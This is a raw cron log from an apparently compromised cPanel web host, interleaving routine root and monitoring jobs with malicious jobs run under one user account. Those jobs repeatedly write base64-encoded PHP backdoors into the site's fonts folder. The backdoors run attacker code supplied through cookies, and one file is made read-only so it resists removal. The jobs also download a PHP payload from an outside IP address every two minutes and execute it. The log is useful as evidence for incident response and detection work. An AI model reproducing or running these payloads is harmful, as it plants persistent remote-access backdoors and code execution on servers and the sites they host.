Sep  6 16:30:01 ip-184-168-122-23 CROND[28626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:30:01 ip-184-168-122-23 CROND[28627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:30:01 ip-184-168-122-23 CROND[28625]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 16:31:01 ip-184-168-122-23 CROND[28755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:31:01 ip-184-168-122-23 CROND[28756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:31:01 ip-184-168-122-23 CROND[28760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:31:01 ip-184-168-122-23 CROND[28757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:31:01 ip-184-168-122-23 CROND[28762]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:32:01 ip-184-168-122-23 CROND[28957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:32:01 ip-184-168-122-23 CROND[28958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:32:01 ip-184-168-122-23 CROND[28956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:32:01 ip-184-168-122-23 CROND[28959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:32:01 ip-184-168-122-23 CROND[28963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:33:01 ip-184-168-122-23 CROND[29370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:33:01 ip-184-168-122-23 CROND[29373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:33:01 ip-184-168-122-23 CROND[29374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:33:01 ip-184-168-122-23 CROND[29372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:34:01 ip-184-168-122-23 CROND[29783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:34:01 ip-184-168-122-23 CROND[29786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:34:01 ip-184-168-122-23 CROND[29788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:34:01 ip-184-168-122-23 CROND[29792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:34:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:35:01 ip-184-168-122-23 CROND[30190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30194]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:35:01 ip-184-168-122-23 CROND[30200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:35:01 ip-184-168-122-23 CROND[30199]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 16:36:01 ip-184-168-122-23 CROND[30626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:36:01 ip-184-168-122-23 CROND[30628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:36:01 ip-184-168-122-23 CROND[30632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:36:01 ip-184-168-122-23 CROND[30631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:36:01 ip-184-168-122-23 CROND[30630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:37:01 ip-184-168-122-23 CROND[31072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:37:01 ip-184-168-122-23 CROND[31074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:37:01 ip-184-168-122-23 CROND[31075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:37:01 ip-184-168-122-23 CROND[31076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:38:01 ip-184-168-122-23 CROND[31249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:38:01 ip-184-168-122-23 CROND[31253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:38:01 ip-184-168-122-23 CROND[31251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:38:01 ip-184-168-122-23 CROND[31252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:38:01 ip-184-168-122-23 CROND[31254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:39:01 ip-184-168-122-23 CROND[31450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:39:01 ip-184-168-122-23 CROND[31452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:39:01 ip-184-168-122-23 CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 16:39:01 ip-184-168-122-23 CROND[31454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:39:01 ip-184-168-122-23 CROND[31453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:40:02 ip-184-168-122-23 CROND[31563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:40:02 ip-184-168-122-23 CROND[31562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:41:02 ip-184-168-122-23 CROND[31693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:41:02 ip-184-168-122-23 CROND[31697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:41:02 ip-184-168-122-23 CROND[31695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:41:02 ip-184-168-122-23 CROND[31696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:42:01 ip-184-168-122-23 CROND[31879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:42:02 ip-184-168-122-23 CROND[31882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
